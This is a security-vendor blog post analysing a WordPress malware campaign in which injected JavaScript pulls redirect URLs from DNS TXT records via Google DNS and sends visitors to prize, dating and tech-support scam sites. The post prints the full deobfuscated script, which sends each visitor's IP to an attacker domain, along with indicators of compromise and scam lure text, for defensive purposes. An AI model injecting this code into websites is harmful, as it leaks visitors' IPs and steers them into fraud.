From Google DNS to Tech Support Scam Sites: Unmasking the Malware Trail

A vast majority of website malware employ the ever-familiar HTTP/HTTPS protocols for its malicious activities. But, we also periodically confront more interesting hybrid malware leveraging various other internet protocols. For example, malware sending email spam, DDoS tools creating floods of UDP packets, bruteforce tools trying to guess SSH credentials, phishing and credit card skimming malware exfiltrating data via web sockets, telegram bots — the list goes on.

During a recent investigation, we encountered a rather interesting piece of JavaScript malware that indirectly uses the DNS protocol to obtain redirect URLs. Let’s take a closer look!

Contents:

• Javascript injection
• Malicious code analysis
• DNS as a communication channel for malware
• Dynamic TXT records as TDS
• Tracker-cloud[.]com domain
• Attack infrastructure
• Protecting your site

JavaScript injection

In the middle of July 2023, we started noticing WordPress websites with some rather interesting script injections.

This long and heavily obfuscated code can be found both inside WordPress posts as well as in the wpcode_snippets option of the WPCode (insert-headers-and-footers) plugin. Variable names and the order of functions appear to change from site to site, but the main idea stays the same.

In some cases, we find the following much simpler and shorter “var _0x92fb” obfuscated script belonging to the same campaign.

In August, the most prevalent variation of the injection featured an extra layer of base64 encoding and used the ‘<script>document.write(atob(“PHNjcmlwdD5…’ code to execute the malware.

But, in all cases the decoded versions are absolutely the same. Here’s the output (we renamed the original variables to improve readability):

document.addEventListener("DOMContentLoaded", function () {
  var _hostname = window.location.hostname;
  if (_hostname == "") { _hostname = "unk.com"; }
  fetch("https://api64.ipify.org?format=json")
    .then((_response) => { return _response.json(); })
    .then((_IP) => {
      _IP = _IP.ip.replaceAll(".", "-");
      _IP = _IP.replaceAll(":", "-");
      fetch(
        "https://dns.google/resolve?name=" +
          _hostname + "." + _IP +  "." +
          Math.floor(Math.random() * 1024 * 1024 * 10) +
          ".tracker-cloud[.]com&type=txt"
      )
        .then((_response) => { return _response.json(); })
        .then((_dns_json) => {
          if (_dns_json.Answer == null) { return; }
          var _redirect_URL = "";
          _dns_json.Answer.forEach((_answer) => {
            if (_answer.type == 16) { _redirect_URL += _answer.data; }
          });
          _redirect_URL = atob(_redirect_URL);
          if (!_redirect_URL.length) { return; }
          window.location.replace(_redirect_URL);
        });
    });
});

This code is pretty interesting. We can see that the execution of the script leads to a redirect:

window.location.replace(_redirect_URL);

However, it’s not immediately clear where this _redirect_URL comes from.

There are just two calls to legitimate third-party APIs: ipify.org (used to obtain a client’s public IP address) and dns.google (Google public DNS service). And lo and behold — we have the _redirect_URL.

Malicious code analysis

Let’s analyze the code step by step now to solve for the behavior of this mysterious injection.

The script works as an event handler for the DOMContentLoaded event. This means that it is executed when a web page has been completely parsed by a browser, and all deferred scripts have been downloaded and executed.

Step 1: Visitor IP

First of all, the script makes an API request to api64.ipify.org to get the visitor’s public IP address.

In the returned IP address, all dots (IPv4) and colons (IPv6) are replaced with dashes. For example, “198.51.100.1” will be converted to “198-51-100-1”.

Step 2: Google DNS query

After that, the malware makes an API request to Google DNS.

"https://dns.google/resolve?name=" + _hostname + "." + _IP + "." +
Math.floor(Math.random() * 1024 * 1024 * 10) +
".tracker-cloud[.]com&type=txt"

This step is a bit more complex and requires an explanation.

Google DNS (Domain Name System) can be used to resolve domain names and return technical information about them.

The malicious script passes two parameters to the API: name (the domain name the information is requested for) and type (type of the DNS record).

Let’s start with the type parameter. type=txt means that we request TXT records of the domain.

A TXT record is a special type of DNS record that can be associated with a domain name. It may contain arbitrary text information and is regularly used for verification and spam protection purposes.

For example, here are the current TXT records of the bing.com domain:

Building the query URL

The name parameter generated by the malware is more complex. It has a dynamic nature and changes from request to request.

Here’s what it consists of:

1. Hostname — the name of the infected website
2. A sanitized IP address — the IP address of the site visitor with all dots and colons replaced with dashes.
3. Random number — Math.floor(Math.random() * 1024 * 1024 * 10)
4. .tracker-cloud[.]com — the second level domain controlled by the bad actors.

A fully generated name parameter may look something like this:

name=infected-site.com.198-51-100-1.8947239.tracker-cloud[.]com

While the full API request will appear like this:

https://dns.google/resolve?name=infected-site.com.198-51-100-1.8947239.tracker-cloud[.]com&type=txt

Step 3: Retrieving the redirect URL from Google DNS response

The “Answer” section of the JSON response from dns.google is then parsed by the malicious script. All “data” values (there can be more than one TXT record) are combined into a single string, which is then base64-decoded to get the redirect URL.

If the retrieved URL is not empty, then a site visitor gets redirected to a malicious site of the attacker’s choosing.

For example, here’s a real response from Google DNS service leveraging this technique:

In the “Answer” data, we see the base64-encoded value:

aHR0cHM6Ly9zd2VldC1iaWctd2luLmxpZmUvP3U9NTF0d213YyZvPWc2bHBxemsmY2lkPWNqMmptaWFpZG5wMXZva3A3YmNn

Which decodes to: hxxps://sweet-big-win[.]life/?u=51twmwc&o=g6lpqzk&cid=cj2jmiaidnp1vokp7bcg

DNS as a communication channel for malware

Hackers are long known to use DNS as a communication channel. Custom subdomain names and TXT records are used to pass information to and from infected systems. They are mainly employed by botnets. Cobalt Strike has a DNS Beacon feature that can download tasks over DNS TXT records, DNS AAAA records, or DNS A records.

The technique, similar to the one discussed in this post, has been previously reported by trustwave for Necurs spam emails with HTML attachment that obtained JavaScript redirect code from DNS TXT record of a malicious domain. However, in my 15 years of working in website security, I can’t remember seeing such malware injected into hacked sites.

Dynamic TXT records as TDS

What’s even more interesting is that subdomains and their dynamic TXT records are used as TDS (traffic direction system).

A conventional TDS receives various information about a visitor, processes it and then, based on the internal rules, redirects (or doesn’t redirect) to one or another site. We regularly see use of such systems in website malware, for example in NDSW and Balada Injector infections. But they are either local (implemented within the injected code) or remote (injected malware communicates with it via an HTTP protocol).

So how does this DNS-based TDS operate?

Custom subdomain for visitor information

This malware uses custom subdomains to pass information about each visitor to the TDS. As we showed above, the DNS queries are issued for dynamically generated domain names with this format:

<infected-site>.<visitor-ip>.<random-number>.tracker-cloud[.]com

The domain will be different for each visitor (the <visitor-ip> part) and, even if the same visitor loads the same page again, the <random-number> will make the subdomain unique anyway. This ensures that each visit is handled individually and no one gets a cached DNS response from Google DNS (the TXT records have TTL:600 so they are cached for 10 minutes).

In addition to the visitor IP, the TDS gets information about the infected site, which is probably used as a beacon that sends a signal that the website is still infected.

Suitable redirect URL via TXT records

We can only guess on the visitor filtering rules, but this TDS can serve different redirect URLs to different users.For example, based on the IP address, attackers can guess the geographic location and type of network.

At this point, we can see that the attack mainly redirects to sweet-big-win[.]life, which is the first step in a redirect chain to scam and adult websites. In August, we started seeing the TXT records containing various URLs pointing to the subdirectories of compromised legitimate websites, where bad actors had installed technical support scam scripts.

Another function of the TDS is to make troubleshooting more difficult, as subsequent DNS queries usually return no malicious redirect URLs for the same visitor IP. Moreover, requesting the DNS record for another visitor IP may still not trigger a malicious response. The redirects are quite random.

Technology behind the DNS TDS

While this TDS functionality is pretty common in other website malware that we’ve been tracking, the TDS’ usually utilize HTTP protocol and scripting languages that make them just another type of web application. When you are limited to the DNS protocol, the task of creating a TDS is more complex.

For example, most website owners use the DNS services of their domain registrars or hosting providers, who provide a special control panel or an API to add and change their DNS records. This is enough for most websites.

However, imagine a hypothetical scenario where you need to parse information passed in a DNS request as an arbitrary subdomain and change the value of the TXT records in real time based on the parsed information and some additional internal logic? This is definitely not possible if you use a typical third-party DNS service.

That’s why the malicious tracker-cloud[.]com domain uses custom name servers:

• NS1.TRACKER-CLOUD[.]COM
• NS2.TRACKER-CLOUD[.]COM

They point to the following servers controlled by the attackers:

• 185.161.248.253 — KISARA-AS, RU
• 65.21.30.17 — HETZNER-AS, DE

These name servers have modern DNS server software (like PowerDNS) that support dynamic DNS records.

For example, PowerDNS allows users to modify resolving behavior using scripts written in Lua. Their documentation suggests the following:

Lua scripts can be used for load balancing, legal reasons, commercial purposes, to quickly block dangerous domains or override problematic responses.

CleanBrowsing DNS filtering service uses Lua scripts to dynamically report which DNS resolver is being currently used. Based on your geographic location, the TXT record for the mylocation.whois.dnscontest.cleanbrowsing.org domain may change from “CleanBrowsing: dns-edge-usa-west-la, 185.228.168.10″ if you request it from California to “CleanBrowsing: dns-edge-europe-london3, 185.228.168.10″ if you request from the United Kingdom.

Or, if you request the TXT record of the PowerDNS’ own whoami.lua.powerdns.org, it will return the IP address of your DNS resolver.

Alternatively, PowerDNS has a so-called PipeBackend that allows for easy dynamic resolution based on a “Coprocess” which can be written in any programming language that can read a question on standard input and answer on standard output.

Apparently, the bad actors are using similar solutions on the name servers for the tracker-cloud[.]com domain.

The tracker-cloud[.]com domain

The tracker-cloud[.]com domain was registered on July 12, 2023.

According to URLScan.io, the malware was first noticed in the wild on July 17, 2023. Since then it can be found on dozens of sites. Our SiteCheck scanner currently detects the tracker-cloud malware on roughly 30 unique sites per week.

Interestingly enough, July 17, 2023 is also a date when a reflected XSS vulnerability in the WPCode plugin was published. As we mentioned earlier, the malware is often injected into the wpcode_snippets option of this plugin. We don’t have sufficient evidence that this vulnerability was used directly as an attack vector, however.

This malware is sometimes found alongside the R_Evil hello dolly injections that are known to be responsible for injections redirecting to similar scam sites.

Attack infrastructure

Next, let’s discuss the attack infrastructure and the malicious redirects used in this campaign.

Sweet-big-win[.]life redirects

Initially, the redirect URLs found in the TXT records used the sweet-big-win[.]life domain name (185.155.184.208).

These redirect chains look like this:

• hxxps://sweet-big-win[.]life/?u=51twmwc&o=g6lpqzk&cid=cj0va9iidnp1vojvm38g
• hxxps://play.google[.]com/store/apps/details?id=com.tinder

The u=51twmwc&o=g6lpqzk part of the URL stays the same for this campaign while the &cid parameter constantly changes.

The redirect to the Tinder application is just one of possible landing pages. It’s quite common though, as Tinder advertising campaigns seem to rely on sketchy traffic providers — we see many malware campaigns redirect to the Tinder app if they can’t find anything else that matches a current user profile.

If we check the IP address of the sweet-big-win[.]life domain (185.155.184.208), we find many other similar domains like:

• premiumwin[.]life
• super-game-4adult[.]life
• bonuspremium[.]life
• prizeforall[.]life
• sweetsbonus[.]life
• datingdudes[.]life
• profitmagnet[.]life
• sweetsbonus[.]life
• prize-sense[.]life
• hitjackpot[.]life
• keepbonusforwin[.]life

As you can tell from the keywords used in the domain names, they are all created with fake prize and dating scams in mind.

Sweet-big-win[.]life can also redirect to scam sites on the 54.37.5.34 or 135.125.135.44 servers, e.g. wantafile[.]live, backbushooh[.]live, etc. These servers are known to be a home for dating and gambling scams.

Redirects to compromised sites

Alternatively, the redirect URL extracted from the TXT records may also point to subdirectories of infected legitimate websites.

In this case, the initial landing page contains the following code:

<html><body><script>window.location.replace("?heuememsq");</script></body></html>

This script redirects to the same page with a randomly generated parameter. This trick prevents unwanted security/search engine bots that don’t execute JavaScript from seeing the malicious content.

Human visitors will see an animated full screen show where they will view a “live” virus scan, followed by an attempt of a Microsoft AI chatbot to assist them:

“Greetings! I’m Lucy, another AI chatbot by Microsoft. It appears to be your PC is locked out because of safety reasons.
…
Tragically, visit support isn’t accessible for this basic disappointment. If it’s not too much trouble, contact Support“

The only option that crooks leave to their victims is to call a fake “Windows Support Helpline” where they will be tricked into installing unwanted software and paying for the removal of non-existent threats.

Name servers

Let’s move to the name servers: 185.161.248.253 and 65.21.30.17.

65.21.30.17 is known to host tech support scams.

185.161.248.253 is also a host of many sketchy sites, including:

• account.sparkofme[.]com
• apptradecoin[.]com
• autodiscover.staging.kennedypostacute[.]com
• cnctddot[.]com
• domaintravelers[.]com
• gostaustralia[.]com
• koloshuk[.]com
• ntertane[.]com
• ojosclear[.]com
• ourscarletstories[.]com
• prottopecart[.]com
• stowesupperclub[.]com
• suffolktrackofficials[.]com
• woocommerce-pdf-invoice[.]com
• woocommerce-sagepayments[.]com
• yournickatmine[.]com, etc.

While their names may look like they belong to legitimate sites, in reality most of these websites serve tech support scam pages like the ones described above. The scam is so widespread and profitable, that bad actors have localized their malware to many different countries and languages.

For example, this is what you might see when you visit one of the sites with a Japanese IP.

Not only are the fake warnings translated into Japanese, but also they provide a real Japanese phone number to call: (050) is the area code used for Japanese IP-based phone services.

Protecting your site

Bad actors are elevating their malware campaigns by leveraging the DNS protocol to hide requests to their infrastructure. In this particular case, we can clearly see how they inject malicious JavaScript that sends requests to Google DNS, and uses the responses to redirect users to scam and adult websites.

The sophistication and complexity of attacks are always evolving. It is therefore imperative that site owners apply a variety of techniques to mitigate risk and protect their environments from attack.

While no security is 100%, some key steps you can take to protect your website from malware include:

1. Perform regular audits of your server logs, file integrity changes, and user accounts to detect suspicious activity on your website.
2. Always keep your website’s software, themes, and plugins updated with the latest patches to help prevent hackers from exploiting known vulnerabilities on your site.
3. Implement a web application firewall (WAF) to block malicious traffic and virtually patch known software vulnerabilities.
4. Regularly back up your website to make it easier to restore your site to its last known good configuration in the event of an infection.
5. Use strong and unique passwords for all accounts associated with your website.
6. Restrict file permissions to prevent unauthorized changes to your website.
7. Implement SSL/TLS encryption to protect data transmitted between your website and visitors.
8. Practice the principle of least privilege and limit user access to only those who need it and with necessary permissions.

Sucuri detects and removes a wide range of website malware and malicious injections. Want to learn more about how we can help protect your website and visitors? Chat with our team!